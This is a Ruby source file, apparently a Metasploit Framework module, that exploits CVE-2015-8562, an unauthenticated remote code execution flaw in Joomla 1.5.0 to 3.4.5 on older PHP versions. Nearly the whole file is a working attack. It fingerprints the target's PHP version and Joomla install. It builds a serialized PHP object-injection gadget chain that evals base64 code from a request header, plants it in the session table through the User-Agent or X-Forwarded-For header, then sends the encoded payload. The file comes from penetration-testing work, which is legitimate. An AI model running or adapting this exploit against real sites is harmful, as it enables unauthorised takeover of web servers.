metasploit-framework/modules/exploits/multi/http/joomla_http_header_rce.rb

138 lines
5.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
'Description' => %q{
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
By storing user supplied headers in the databases session table it's possible to truncate the input
by sending an UTF-8 character. The custom created payload is then executed once the session is read
from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
In later versions the deserialisation of invalid session data stops on the first error and the
exploit will not work.
},
'Author' =>
[
'Marc-Alexandre Montpas', # discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-8562'],
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
['URL', 'https://bugs.php.net/bug.php?id=70219']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla', {}]],
'DisclosureDate' => 'Dec 14 2015',
'DefaultTarget' => 0)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
], self.class)
end
def check
res = send_request_cgi({'uri' => target_uri.path })
unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
unless res.headers['X-Powered-By']
vprint_error("Unable to determine the PHP version.")
return Exploit::CheckCode::Unknown
end
php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || ''
vprint_status("Found PHP version: #{php_version}")
version = Gem::Version.new(php_version)
vulnerable = false
vulnerable = true if version <= Gem::Version.new('5.4.44')
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
unless vulnerable
vprint_error('This module currently does not work against this PHP version')
return Exploit::CheckCode::Safe
end
res.get_html_meta_elements.each do |element|
if element.attributes['name'] &&
/^generator$/i === element.attributes['name'] &&
element.attributes['content'] &&
/joomla/i === element.attributes['content'].value
return Exploit::CheckCode::Detected
end
end
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') })
return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
Exploit::CheckCode::Unknown
end
def get_payload
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;"
middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
post = "\xF0\x9D\x8C\x86"
return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def exploit
if check == Exploit::CheckCode::Safe
print_error('Target seems safe, so we will not continue.')
return
end
print_status("Sending payload ...")
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'headers' => { datastore['HEADER'] => get_payload }
})
session_cookie = res.get_cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'cookie' => session_cookie,
'headers' => {
'CMD' => Rex::Text.encode_base64(payload.encoded)
}
})
end
end